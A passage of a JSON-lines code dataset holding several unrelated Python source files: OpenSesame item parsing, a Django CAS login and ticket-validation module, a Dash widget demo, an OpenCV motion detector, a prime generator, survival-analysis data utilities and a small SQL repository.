hasattr(self, u'description'):\n self.var.description = self.default_description\n else:\n self.var.description = self.description\n self.from_string(string)\n\n def __deepcopy__(self, memo):\n \"\"\"Disable deep-copying of items\"\"\"\n return None\n\n @property\n def clock(self):\n return self.experiment._clock\n\n @property\n def log(self):\n return self.experiment._log\n\n @property\n def syntax(self):\n return self.experiment._syntax\n\n @property\n def python_workspace(self):\n return self.experiment._python_workspace\n\n @property\n def responses(self):\n return self.experiment._responses\n \n @property\n def plugin_manager(self):\n return self.experiment._plugin_manager\n\n @property\n def default_description(self):\n return u'Default description'\n\n def reset(self):\n r\"\"\"Resets all item variables to their default value.\"\"\"\n pass\n\n def prepare(self):\n \"\"\"Implements the prepare phase of the item.\"\"\"\n self.experiment.var.set(u'count_%s' % self.name, self.count)\n self.count += 1\n\n def run(self):\n \"\"\"Implements the run phase of the item.\"\"\"\n pass\n\n def parse_variable(self, line):\n \"\"\"Reads a single variable from a single definition line.\n\n Parameters\n ----------\n line\n A single definition line.\n\n Returns\n -------\n bool\n True on success, False on failure.\n \"\"\"\n # It is a little ugly to call parse_comment() here, but otherwise\n # all from_string() derivatives need to be modified\n if self.parse_comment(line):\n return True\n l = self.syntax.split(line.strip())\n if len(l) == 0 or l[0] != u'set':\n return False\n if len(l) != 3:\n raise InvalidOpenSesameScript(\n 'Error parsing variable definition', line=line)\n self.var.set(l[1], l[2])\n return True\n\n def parse_line(self, line):\n \"\"\"Allows for arbitrary line parsing, for item-specific requirements.\n\n Parameters\n ----------\n line\n A single definition line.\n \"\"\"\n pass\n\n def parse_comment(self, line):\n \"\"\"Parses comments from a single definition line, indicated by \n # // or '.\n\n Parameters\n ----------\n line\n A single definition line.\n\n Returns\n -------\n bool\n True on success, False on failure.\n \"\"\"\n line = line.strip()\n if len(line) > 0 and line[0] == u'#':\n self.comments.append(line[1:])\n return True\n elif len(line) > 1 and line[0:2] == u'//':\n self.comments.append(line[2:])\n return True\n return False\n\n def variable_to_string(self, var):\n r\"\"\"Encodes a variable into a definition string.\n\n Parameters\n ----------\n var : str\n The name of the variable to encode.\n\n Returns\n -------\n str\n A definition string.\n \"\"\"\n val = safe_decode(self.var.get(var, _eval=False))\n # Multiline variables are stored as a block\n if u'\\n' in val or u'\"' in val:\n s = u'__%s__\\n' % var\n val = val.replace(u'__end__', u'\\\\__end__')\n for l in val.split(u'\\n'):\n s += '\\t%s\\n' % l\n while s[-1] in (u'\\t', u'\\n'):\n s = s[:-1]\n s += u'\\n\\t__end__\\n'\n return s\n # Regular variables\n return self.syntax.create_cmd(u'set', arglist=[var, val]) + u'\\n'\n\n def from_string(self, string):\n r\"\"\"Parses the item from a definition string.\n\n Parameters\n ----------\n string : str, NoneType\n A definition string, or None to reset the item.\n \"\"\"\n self._script = string\n textblock_var = None\n self.var.clear()\n self.reset()\n self.comments = []\n if string is None:\n return\n for line in string.split(u'\\n'):\n line_stripped = line.strip()\n # The end of a textblock\n if line_stripped == u'__end__':\n if textblock_var is None:\n raise InvalidOpenSesameScript(\n 'It appears that a textblock has been closed without '\n 'being opened')\n self.var.set(textblock_var,\n textblock_val.replace(u'\\\\__end__', u'__end__'))\n textblock_var = None\n # The beginning of a textblock. A new textblock is only started when\n # a textblock is not already ongoing, and only if the textblock\n # start is of the format __VARNAME__\n elif line_stripped[:2] == u'__' and line_stripped[-2:] == u'__' \\\n and textblock_var is None:\n textblock_var = line_stripped[2:-2]\n if textblock_var != u'':\n textblock_val = u''\n else:\n textblock_var = None\n # We cannot just strip the multiline code, because that may mess\n # up indentation. So we have to detect if the string is indented\n # based on the opening __varname__ line.\n strip_tab = line[0] == u'\\t'\n # Collect the contents of a textblock\n elif textblock_var is not None:\n if strip_tab:\n textblock_val += line[1:] + u'\\n'\n else:\n textblock_val += line + u'\\n'\n # Parse regular variables\n elif not self.parse_variable(line):\n self.parse_line(line)\n if textblock_var is not None:\n raise InvalidOpenSesameScript(\n 'Missing __end__ block for multiline variable {textblock_var}')\n\n def to_string(self, item_type=None):\n \"\"\"\n Encodes the item into an OpenSesame definition string.\n\n Keyword arguments:\n item_type\t--\tThe type of the item or None for autodetect.\n (default=None)\n\n Returns:\n The unicode definition string\n \"\"\"\n if item_type is None:\n item_type = self.item_type\n s = u'define %s %s\\n' % (item_type, self.name)\n for comment in self.comments:\n s += u'\\t# %s\\n' % comment.strip()\n for var in self.var:\n s += u'\\t' + self.variable_to_string(var)\n return s\n\n def resolution(self):\n r\"\"\"Returns the display resolution and checks whether the resolution is\n valid.\n\n __Important note:__\n\n The meaning of 'resolution' depends on the\n back-end. For example,\n the legacy back-end changes the actual\n resolution of the display,\n whereas the other back-ends do not alter the\n actual display\n resolution, but create a 'virtual display' with the\n requested\n resolution that is presented in the center of the display.\n\n Returns\n -------\n tuple\n A (width, height) tuple\n \"\"\"\n w = self.var.get(u'width')\n h = self.var.get(u'height')\n if type(w) != int or type(h) != int:\n raise InvalidValue(f'({w}, {h}) is not a valid resolution')\n return w, h\n\n def set_item_onset(self, time=None):\n r\"\"\"Set a timestamp for the onset time of the item's execution.\n\n Parameters\n ----------\n time, optional\n A timestamp or None to use the current time.\n\n Returns\n -------\n \"\"\"\n if time is None:\n time = self.clock.time()\n self.experiment.var.set(u'time_%s' % self.name, time)\n return time\n\n def var_info(self):\n \"\"\"Give a list of dictionaries with variable descriptions.\n\n Returns\n -------\n list\n A list of (variable, description) tuples\n \"\"\"\n return [(u\"time_%s\" % self.name, u\"[Timestamp of last item call]\"),\n (u\"count_%s\" % self.name, u\"[Number of item calls]\")]\n \n def get(self, *args, **kwargs):\n raise IncompatibilityError(\n 'Item.get() has been removed in OpenSesame 4. Please see '\n 'the section in the documentation on using variables.')\n\n def set(self, *args, **kwargs):\n raise IncompatibilityError(\n 'Item.set() has been removed in OpenSesame 4. Please see '\n 'the section in the documentation on using variables.')\n\n\n# alias for backwards compatibility\nitem = Item\n","repo_name":"open-cogsci/OpenSesame","sub_path":"libopensesame/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":10784,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"47"} +{"seq_id":"27262564729","text":"from django.http import HttpResponse, HttpResponseForbidden, HttpResponseRedirect\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login as auth_login, logout as auth_logout\n\nfrom cas_provider.forms import LoginForm\nfrom cas_provider.models import ServiceTicket, LoginTicket, auth_success_response\nfrom cas_provider.utils import create_service_ticket\n\n__all__ = ['login', 'validate', 'service_validate', 'logout']\n\ndef login(request, template_name='cas/login.html', success_redirect='/accounts/'):\n service = request.GET.get('service', None)\n if request.user.is_authenticated():\n if service is not None:\n ticket = create_service_ticket(request.user, service)\n if service.find('?') == -1:\n return HttpResponseRedirect(service + '?ticket=' + ticket.ticket)\n else:\n return HttpResponseRedirect(service + '&ticket=' + ticket.ticket)\n else:\n return HttpResponseRedirect(success_redirect)\n errors = []\n if request.method == 'POST':\n username = request.POST.get('username', None)\n password = request.POST.get('password', None)\n service = request.POST.get('service', None)\n lt = request.POST.get('lt', None)\n \n try:\n login_ticket = LoginTicket.objects.get(ticket=lt)\n except:\n errors.append('Login ticket expired. Please try again.')\n else:\n login_ticket.delete()\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n auth_login(request, user)\n if service is not None:\n ticket = create_service_ticket(user, service)\n return HttpResponseRedirect(service + '?ticket=' + ticket.ticket)\n else:\n return HttpResponseRedirect(success_redirect)\n else:\n errors.append('This account is disabled.')\n else:\n errors.append('Incorrect username and/or password.')\n form = LoginForm(service)\n return render_to_response(template_name, {'form': form, 'errors': errors}, context_instance=RequestContext(request))\n \ndef validate(request):\n service = request.GET.get('service', None)\n ticket_string = request.GET.get('ticket', None)\n if service is not None and ticket_string is not None:\n try:\n ticket = ServiceTicket.objects.get(ticket=ticket_string)\n username = ticket.user.username\n ticket.delete()\n return HttpResponse(\"yes\\n%s\\n\" % username)\n except:\n pass\n return HttpResponse(\"no\\n\\n\")\n\ndef service_validate(request):\n service = request.GET.get('service', None)\n ticket_string = request.GET.get('ticket', None)\n if service is None or ticket_string is None:\n return HttpResponse('''<cas:serviceResponse xmlns:cas=\"http://www.yale.edu/tp/cas\">\n <cas:authenticationFailure code=\"INVALID_REQUEST\">\n Not all required parameters were sent.\n </cas:authenticationFailure>\n </cas:serviceResponse>''', mimetype='text/xml')\n \n try:\n ticket = ServiceTicket.objects.get(ticket=ticket_string)\n ticket.delete()\n return HttpResponse(auth_success_response(ticket.user), mimetype='text/xml')\n except ServiceTicket.DoesNotExist:\n return HttpResponse('''<cas:serviceResponse xmlns:cas=\"http://www.yale.edu/tp/cas\">\n <cas:authenticationFailure code=\"INVALID_TICKET\">\n The provided ticket is invalid.\n </cas:authenticationFailure>\n </cas:serviceResponse>''', mimetype='text/xml')\n\ndef logout(request, template_name='cas/logout.html'):\n url = request.GET.get('url', None)\n auth_logout(request)\n return render_to_response(template_name, {'url': url}, context_instance=RequestContext(request))","repo_name":"abhijo89/django-cas-provider","sub_path":"cas_provider/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"23848661607","text":"\nimport json\n\nclass Evento:\n id = 1 # atributo de classe q compartilhado entre as instancias das classes\n\n def __init__(self, nome, local=''):\n self.nome = nome\n self.local = local\n self.id = Evento.id\n Evento.id += 1\n\n def imprime_informações(self):\n print(f'Id do evento: {self.id}')\n print(f'Nome do evento: {self.nome}')\n print(f'Local do evento: {self.local}')\n print('----------------------------')\n\n def to_json(self):\n return json.dumps({\n\n \"id\": self.id,\n \"local\": self.local,\n \"nome\": self.nome\n })\n \n @staticmethod\n def calcula_limite_pessoas_area(area):\n if 5 <= area < 10:\n return 5\n elif 10 <= area < 20:\n return 10\n elif 20 <= area < 30:\n 15\n else:\n return 0\n\n\n\n\n","repo_name":"RaffaelSilvaDev/Codar.me-Aulas-Geral","sub_path":"Aulas Python/evento.py","file_name":"evento.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1702631209","text":"\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\n# html.Label('見出し')\n# ドロップダウン:dcc.Dropdown(options=[],value=) valueは初期値\n# マルチセレクト: Dropdownと同じ。valueがlist形式になる value=['A','b'] + multi=True\n# ラジオボタン: dcc.Radioitems(options=[], value=) ※複数選択不可\n# チェックボックス(radioの複数):dcc.Checklist\n# スライダー:dcc.Slider 最小値、最大値、markを打つ場所を指定x:x, 初期値value\n\n\napp.layout = html.Div([\n html.Label('Dropdown'),\n dcc.Dropdown(\n options =[\n {'label':'佐藤','value':'sato'},\n {'label':'鈴木','value':'suzuki'},\n {'label':'田中','value':'tanaka'},\n ],\n value = 'suzuki',\n ),\n\n html.Label('Multi-select Dropdown'),\n dcc.Dropdown(\n options =[\n {'label':'東京','value':'tokyo'},\n {'label':'長野','value':'nagano'},\n {'label':'山形','value':'yamagata'},\n {'label':'埼玉','value':'saitama'},\n {'label':'北海道','value':'hokkaido'},\n {'label':'沖縄','value':'okinawa'},\n ],\n value = ['hokkaido','tokyo','okinawa'],\n multi=True\n ),\n\n html.Label('Radio-items'),\n dcc.RadioItems(\n options =[\n {'label':'東京','value':'tokyo'},\n {'label':'長野','value':'nagano'},\n {'label':'山形','value':'yamagata'},\n {'label':'埼玉','value':'saitama'},\n {'label':'北海道','value':'hokkaido'},\n {'label':'沖縄','value':'okinawa'},\n ],\n value = 'yamagata',\n ),\n\n html.Label('Checkboxes'),\n dcc.Checklist(\n options =[\n {'label':'佐藤','value':'sato'},\n {'label':'鈴木','value':'suzuki'},\n {'label':'田中','value':'tanaka'},\n ],\n value = ['suzuki','tanaka']\n ),\n\n html.Label('text-input'),\n dcc.Input(value='dcc.Inputでテキストボックスを作成', type='text'),\n\n html.Label('Slider'),\n dcc.Slider(\n min=0,\n max=5,\n marks={i:str(i) for i in range(1,6)},\n value = 2,\n )\n], style={'columnCount':5},\n)\n\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"shizen-shin/python","sub_path":"dash/dropDown-radioButton.py","file_name":"dropDown-radioButton.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26924719561","text":"# import the necessary packages\nimport argparse\nimport datetime\nimport time\nimport numpy as np\nimport cv2\n\n\n# Malisiewicz et al.\ndef non_max_suppression_fast(boxes, overlapThresh):\n # if there are no boxes, return an empty list\n if len(boxes) == 0:\n return []\n\n # if the bounding boxes integers, convert them to floats --\n # this is important since we'll be doing a bunch of divisions\n if boxes.dtype.kind == \"i\":\n boxes = boxes.astype(\"float\")\n\n # initialize the list of picked indexes\n pick = []\n\n # grab the coordinates of the bounding boxes\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n\n # compute the area of the bounding boxes and sort the bounding\n # boxes by the bottom-right y-coordinate of the bounding box\n area = (x2 - x1 + 1) * (y2 - y1 + 1)\n idxs = np.argsort(y2)\n\n # keep looping while some indexes still remain in the indexes\n # list\n while len(idxs) > 0:\n # grab the last index in the indexes list and add the\n # index value to the list of picked indexes\n last = len(idxs) - 1\n i = idxs[last]\n pick.append(i)\n\n # find the largest (x, y) coordinates for the start of\n # the bounding box and the smallest (x, y) coordinates\n # for the end of the bounding box\n xx1 = np.maximum(x1[i], x1[idxs[:last]])\n yy1 = np.maximum(y1[i], y1[idxs[:last]])\n xx2 = np.minimum(x2[i], x2[idxs[:last]])\n yy2 = np.minimum(y2[i], y2[idxs[:last]])\n\n # compute the width and height of the bounding box\n w = np.maximum(0, xx2 - xx1 + 1)\n h = np.maximum(0, yy2 - yy1 + 1)\n\n # compute the ratio of overlap\n overlap = (w * h) / area[idxs[:last]]\n\n # delete all indexes from the index list that have\n idxs = np.delete(idxs, np.concatenate(([last],\n np.where(overlap > overlapThresh)[0])))\n\n # return only the bounding boxes that were picked using the\n # integer data type\n return boxes[pick].astype(\"int\")\n\ncap = cv2.VideoCapture(0)\n#cap = cv2.VideoCapture(\"testSTAB.mp4\")\nbg_frame = None\nfirst_frame = True\nbg_dp = 0\ndisplay_movement = False\n\nwhile cap.isOpened():\n (grabbed, frame) = cap.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (21, 21), 0)\n\n if bg_frame is not None:\n # compute the absolute difference between the current frame and\n # background frame\n frameDelta = cv2.absdiff(bg_frame, gray)\n thresh = cv2.threshold(frameDelta, 25, 255, cv2.THRESH_BINARY)[1]\n if display_movement:\n cv2.imshow(\"FrameDelta\", frameDelta)\n cv2.imshow(\"Thresh\", thresh)\n zeroes = np.zeros_like(frameDelta, dtype=np.uint8)\n zeroweight = 0.9\n history = cv2.addWeighted(history, zeroweight, zeroes, 1 - weight, 0)\n cv2.imshow(\"History\", history)\n histweight = 0.9999\n history = cv2.addWeighted(history, histweight, thresh, 1 - weight, 0)\n\n # dilate the thresholded image to fill in holes, then find contours\n # on thresholded image\n histthresh = cv2.threshold(history, 218, 255, cv2.THRESH_BINARY)[1]\n histthresh = cv2.erode(histthresh, None, iterations=5)\n histthresh = cv2.dilate(histthresh, None, iterations=5)\n #cv2.imshow(\"HistoryT\", histthresh)\n (cnts, _) = cv2.findContours(histthresh.copy(), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n boxes = []\n # loop over the contours\n for c in cnts:\n # if the contour is too small, ignore it\n if cv2.contourArea(c) < 100:\n continue\n\n # compute the bounding box for the contour, draw it on the frame,\n # and update the text\n (x, y, w, h) = cv2.boundingRect(c)\n boxes.append((x, y, w, h))\n bboxes = np.array(boxes)\n boxes = non_max_suppression_fast(bboxes, 5)\n for box in boxes:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n cv2.imshow(\"Frame\", frame)\n #time.sleep(0.5)\n key = cv2.waitKey(10) & 0xFF\n # if the `q` key is pressed, break from the lop\n if key == ord(\"q\"):\n break\n # Handle the showing of thresholds and deltas of movemnt\n if key == ord(\"d\"):\n display_movement = not display_movement\n cv2.destroyAllWindows()\n if key == 27:\n break\n if key == ord(\"b\"):\n if first_frame:\n bg_frame = gray\n first_frame = False\n weight = 0.90\n bg_frame = cv2.addWeighted(bg_frame, weight, gray, 1 - weight, 0)\n bg_dp += 1\n history = np.zeros_like(bg_frame, dtype=np.uint8)\n #cv2.imshow(\"Background\", bg_frame)\n print(\"Data points collected: %s\" %bg_dp)\n\n# cleanup the camera and close any open windows\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"rikkic/masters-project","sub_path":"static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42775332053","text":"\"\"\"\n2から指定された値を超えない最大の値までの素数を順番に出力する。\n\"\"\"\n\n\nclass PrimeGenerator:\n def __init__(self, num_limit):\n \"\"\"\n 初期値を設定する\n\n :param num_limit: 最大値。この値を超えない範囲で素数を出力する。\n この値に到達したらStopIterationを発生させる。\n\n self.num_limit : 素数を探す範囲の上限値を設定する。\n self.prime_list : 既に見つけた素数のリストを格納する。\n 検査対象の自然数 n このリスト内のどの要素でも割り切れなかったら素数。\n そのときは、その自然数 n を __next__() の戻り値として返す。\n そして、このリストにその自然数 n を追加する。\n self.current : 現在の探索位置を設定する。\n \"\"\"\n self.num_limit = num_limit\n self.prime_list = []\n self.current = 2\n\n def __iter__(self):\n \"\"\"\n このクラスのインスタンスをイテレータとして扱うためのメソッド。\n 自分自身が __next__ を持っているので、自分自身を返す。\n \"\"\"\n return self\n\n def is_prime(self, num):\n \"\"\"\n 指定された自然数が素数かどうかを判定する。\n\n :param num: 判定対象の自然数。2より大きいという前提。\n :return: 素数なら True、合成数なら False\n \"\"\"\n for prime in self.prime_list:\n if num % prime == 0:\n return False\n return True\n\n def __next__(self):\n \"\"\"\n このメソッドが呼ばれると、 self.current の次の自然数から、順番に素数を探していく。\n 素数を見つけたら、 self.current を更新して、その素数を返す。\n ただし、 self.num_limit に到達したら、 StopIteration を発生させる。\n\n :return: 次の素数。\n \"\"\"\n while not self.is_prime(self.current):\n if self.current > self.num_limit: # 最大値を超えたら終了\n raise StopIteration\n self.current += 1\n\n self.prime_list.append(self.current)\n self.current += 1\n return self.prime_list[-1]\n\n\nif __name__ == '__main__':\n num_limit = 100000\n prime_generator = PrimeGenerator(num_limit)\n for prime in prime_generator:\n print(prime)\n","repo_name":"ikuma-hiroyuki/prime","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36312582840","text":"\"\"\"\n The program you implemented in the previous section will not work properly when\n the user enters something other than \"y\", \"Y\", \"n\", or \"N\".\n Now, implement a whole new program, which only contains a repeating structure that asks the user's answer again\n if the answer is not \"y\", \"Y\", \"n\" or \"N\".\nExamples of how the program operates:\n\nAnswer Y or N: q\nIncorrect entry.\nAnswer Y or N: w\nIncorrect entry.\nAnswer Y or N: n\nYou answered n\nAnswer Y or N: Y\nYou answered Y\nAnswer Y or N: N\nYou answered N\n \"\"\"\ndef main():\n answer = input(\"Answer Y or N: \")\n while answer != \"n\" and answer != \"N\" and answer != \"y\" and answer != \"Y\":\n print(\"Incorrect entry.\")\n answer = input(\"Answer Y or N: \")\n\n print(\"You answered\", answer)\n\nif __name__ == \"__main__\":\n main()","repo_name":"Phuong1405/Python-Basic","sub_path":"Round 2/bored 2.py","file_name":"bored 2.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11446553648","text":"import os\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import LeaveOneOut, StratifiedKFold\n\n####################\n# Fns for analysis #\n####################\ndef classify_surv(risk_list, numOfclasses=2, class_labels=[]):\n \"\"\"\n Given a list of predicted risks, classify them into different risk groups, based on their quantiles\n \"\"\"\n if len(class_labels) == 0:\n class_labels = np.arange(numOfclasses)\n class_list, _ = pd.qcut(risk_list, q=numOfclasses, labels=class_labels, retbins=True)\n return class_list\n\n\ndef prepare_surv_dict(surv_list, event_list, class_list):\n\n classes = np.unique(class_list)\n surv_dict = {}\n event_dict = {}\n\n for c in classes:\n indices = np.flatnonzero(class_list == c)\n surv_dict[c] = surv_list[indices]\n event_dict[c] = event_list[indices]\n\n return surv_dict, event_dict\n\n\n#################\n# Dataframe fns #\n#################\ndef augment_df(df, numOfaug=3):\n \"\"\"\n Augment the dataframe to accommodate augmented data inputs\n\n Inputs\n ======\n df: Dataframe\n\n Returns\n =======\n df_new: New dataframe with augmented entries\n \"\"\"\n\n pd_dict = {}\n indices = np.arange(df.shape[0])\n\n # Train data\n for idx in indices:\n index = df.index[idx]\n # For each augmentation\n for aug_idx in range(numOfaug + 1):\n if aug_idx == 0:\n pd_dict[index] = df.iloc[idx, :].values.tolist()\n else:\n pd_dict[index + '_aug{}'.format(aug_idx)] = df.iloc[idx, :].values.tolist()\n\n df_new = pd.DataFrame.from_dict(pd_dict, orient='index', columns=df.keys())\n\n return df_new\n\n\ndef load_df(csv_path, task='clf', label='BCR', days_label='BCR_days'):\n \"\"\"\n Load dataframe and process the columns\n \"\"\"\n df = pd.read_csv(csv_path, dtype={'patient_id': 'str'})\n df = df[df[label].notna()] # Drop patients that do not have BCR record\n if days_label and days_label in df:\n df.loc[df[days_label].isna(), days_label] = 365 * 5 # Fill in NaNs\n\n print(\"======================\")\n print(\"Total of {} patients\".format(len(df)))\n\n le = LabelEncoder()\n options = df[label].unique()\n le.fit(options)\n df[label] = le.transform(df[label])\n\n cols2keep = ['patient_id', 'slide_id', label]\n if days_label and days_label in df:\n cols2keep.append(days_label)\n df_processed = df[cols2keep]\n\n df_processed = df_processed.rename(columns={label: 'event'})\n if days_label and days_label in df:\n df_processed = df_processed.rename(columns={days_label: 'event_days'})\n\n # Cast types\n df_processed['patient_id'] = df_processed['patient_id'].astype(str)\n df_processed['slide_id'] = df_processed['slide_id'].astype(str)\n if task=='surv':\n df_processed['event'] = df_processed['event'].astype(bool)\n else:\n df_processed['event'] = df_processed['event'].astype(int)\n df_processed = df_processed.set_index('patient_id')\n\n return df_processed\n\n\ndef stratify_df(df,\n task='clf',\n numOfbins=2,\n event_col='event',\n time_col='event_days',\n stratify_col_name='class',\n eps=0.001):\n \"\"\"\n Stratify the dataframe based on non-censored survival points.\n If numOfbins=1, same stratification as the event\n \"\"\"\n\n # Stratify uncensored patients into percentile bins\n if task=='surv':\n event_mask = df[event_col].astype(bool)\n uncensored_df = df[event_mask]\n times_no_censor = uncensored_df[time_col]\n\n _, q_bins = pd.qcut(times_no_censor, q=numOfbins, retbins=True, labels=False)\n q_bins[-1] = df[time_col].max() + eps\n q_bins[0] = df[time_col].min() - eps\n\n print(q_bins)\n\n # y_discrete is the index label corresponding to the discrete time interval\n y_discr, bins = pd.cut(df[time_col], bins=q_bins,\n retbins=True, labels=False,\n right=False, include_lowest=True)\n df['bins'] = y_discr\n df[stratify_col_name] = df['bins'].astype(str) + '_X_' + df[event_col].astype(str)\n\n # df[stratify_col_name] = pd.qcut(df.loc[df['event'] == 1]['event_days'],\n # q=percentile_cutoff,\n # labels=class_labels).astype('str')\n #\n # # Put censored patients into another class\n # df.loc[df['event'] == 0, stratify_col_name] = str(numOfbins + 1)\n # df[stratify_col_name] = df[stratify_col_name].astype('int')\n # df[stratify_col_name] -= 1\n\n else: # Otherwise, the label is same as the original label class (Classification)\n df[stratify_col_name] = df[event_col]\n\n print(df)\n print(\"\\n=====Class distribution=====\")\n print(df[stratify_col_name].value_counts())\n\n return df\n\n\ndef load_aug_split_df(csv_path,\n label='BCR',\n task='clf',\n days_label=None,\n prop_train=0.7,\n split_mode='loo',\n n_splits=5,\n numOfaug=5,\n numOfbins=3,\n stratify_col_name='class',\n val_aug=False,\n seed=10):\n \"\"\"\n Load pandas dataframe and split into train/val/test (Leave One Out)\n\n Inputs\n ======\n prop_train: proportion of training data out of (train + val) Not the proportion out of the entire data!\n split_mode: 'loo' or 'kf'. Leave-one-out or K-fold splitting\n n_splits: number of splits, only valid for split_mode='kf'\n val_aug: (boolean) If true, also augment the validation dataset\n\n \"\"\"\n\n # Load dataframe\n df_pre_aug_strat = load_df(csv_path, task, label, days_label)\n # Stratify loaded dataframe\n df_pre_aug = stratify_df(df_pre_aug_strat, task=task,\n numOfbins=numOfbins,\n stratify_col_name=stratify_col_name)\n\n # Augment the stratified dataframe\n df_aug = augment_df(df_pre_aug,\n numOfaug=numOfaug)\n\n if split_mode == 'loo':\n splitter = LeaveOneOut()\n else:\n splitter = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=seed)\n target = df_pre_aug[stratify_col_name].values\n\n # Split the indices based on pre-augmented dataframe, to prevent augmented inputs of the same patients\n # ending up in different splits\n indices = np.arange(df_pre_aug.shape[0], dtype=np.int16)\n\n split_indices = {}\n # Split the dataset\n for split_idx, (train_val_indices, test_indices) in enumerate(splitter.split(indices, target)):\n df_train = df_pre_aug.iloc[train_val_indices]\n\n if prop_train == 1: # No validation dataset\n train_indices = train_val_indices\n val_indices = []\n else: # Further split training indices into train/val\n train_indices, val_indices = train_test_split(train_val_indices,\n test_size=1-prop_train,\n stratify=df_train[stratify_col_name],\n random_state=seed)\n\n # Reassign indices to accommodate for augmented dataset\n if numOfaug > 0:\n train_indices_new = []\n val_indices_new = []\n test_indices_new = []\n\n for idx in train_indices:\n train_indices_new.extend(np.arange((numOfaug + 1) * idx, (numOfaug + 1) * (idx + 1)))\n if len(val_indices) > 0:\n for idx in val_indices:\n if val_aug:\n val_indices_new.extend(np.arange((numOfaug + 1) * idx, (numOfaug + 1) * (idx + 1)))\n else:\n val_indices_new.extend([(numOfaug + 1) * idx])\n for idx in test_indices:\n test_indices_new.extend([(numOfaug + 1) * idx])\n else:\n train_indices_new = train_indices\n val_indices_new = val_indices\n test_indices_new = test_indices\n\n split_indices[split_idx] = [train_indices_new, val_indices_new, test_indices_new]\n\n return df_aug, split_indices\n\n#################\n# Auxiliary fns #\n#################\ndef get_time_bins(df, numOfbins=2):\n _, bins = pd.qcut(df.loc[df['event'] == 1]['event_days'],\n q=numOfbins,\n retbins=True)\n\n return bins\n\ndef round_to_multiple(number, multiple):\n return multiple * round(number / multiple)\n\ndef get_weights_for_balanced_clf(y):\n \"\"\"\n Gets sample weights for the WeightedRandomSampler() for the data loader to make balanced training datasets in each epoch.\n Let class_counts, shape (n_classes, ) be the vector of class counts. The sample weights for the ith observation is\n n_samples / class_counts[y[i]]\n Parameters\n ----------\n y: array-like, (n_samples, )\n The observed class indices.\n Output\n ------\n sample_weights: array-like, (n_samples, )\n The sample weights\n \"\"\"\n\n y = pd.Series(y)\n class_counts = y.value_counts() # class counts\n\n n_samples = len(y)\n\n sample_weights = n_samples / np.array([class_counts[cl_idx]\n for cl_idx in y])\n\n return sample_weights","repo_name":"mahmoodlab/mamba","sub_path":"utils/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":9529,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"47"} +{"seq_id":"72308906062","text":"from db.run_sql import run_sql\nfrom models.creature import Creature\nfrom models.habitat import Habitat\nimport repositories.habitat_repository as habitat_repo\n\n\ndef select_all():\n creatures = []\n sql = \"SELECT * FROM creatures\"\n results = run_sql(sql)\n for row in results:\n habitat = habitat_repo.select(row['habitat_id'])\n creature = Creature(row['name'],habitat, row['description'], row['quantity'],row['buying_cost'],row['selling_price'],row['image'] ,row['id'])\n creatures.append(creature)\n return creatures\n\ndef select(id):\n creature = None\n sql = \"SELECT * FROM creatures WHERE id = %s\"\n values = [id]\n results = run_sql(sql, values)\n if results:\n result = results[0]\n habitat = habitat_repo.select(result['habitat_id'])\n creature = Creature(result['name'], habitat, result['description'], result['quantity'], result['buying_cost'], result['selling_price'] , result['image'], result['id'] )\n return creature\n\ndef delete_all():\n sql = \"DELETE FROM creatures\"\n run_sql(sql)\n\ndef delete(id):\n sql = \"DELETE FROM creatures WHERE id= %s\"\n values = [id]\n run_sql(sql, values)\n\ndef save(creature):\n sql = \"INSERT INTO creatures (name, habitat_id, description, quantity, buying_cost, selling_price, image) VALUES (%s, %s, %s, %s ,%s, %s, %s) RETURNING *\"\n values = [creature.name ,creature.habitat.id, creature.description, creature.quantity, creature.buying_cost, creature.selling_price, creature.image]\n results = run_sql(sql,values)\n id = results[0]['id']\n creature.id = id\n return creature\n\ndef update(creature):\n sql = \"UPDATE creatures SET (name, habitat_id, description, quantity, buying_cost, selling_price, image) = (%s, %s, %s, %s, %s,%s, %s) WHERE id = %s\"\n values = [creature.name, creature.habitat.id, creature.description, creature.quantity, creature.buying_cost, creature.selling_price, creature.image, creature.id]\n run_sql(sql, values)\n","repo_name":"BJPORTER123/python-project","sub_path":"repositories/creature_repository.py","file_name":"creature_repository.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34874183352","text":"# Configuration file 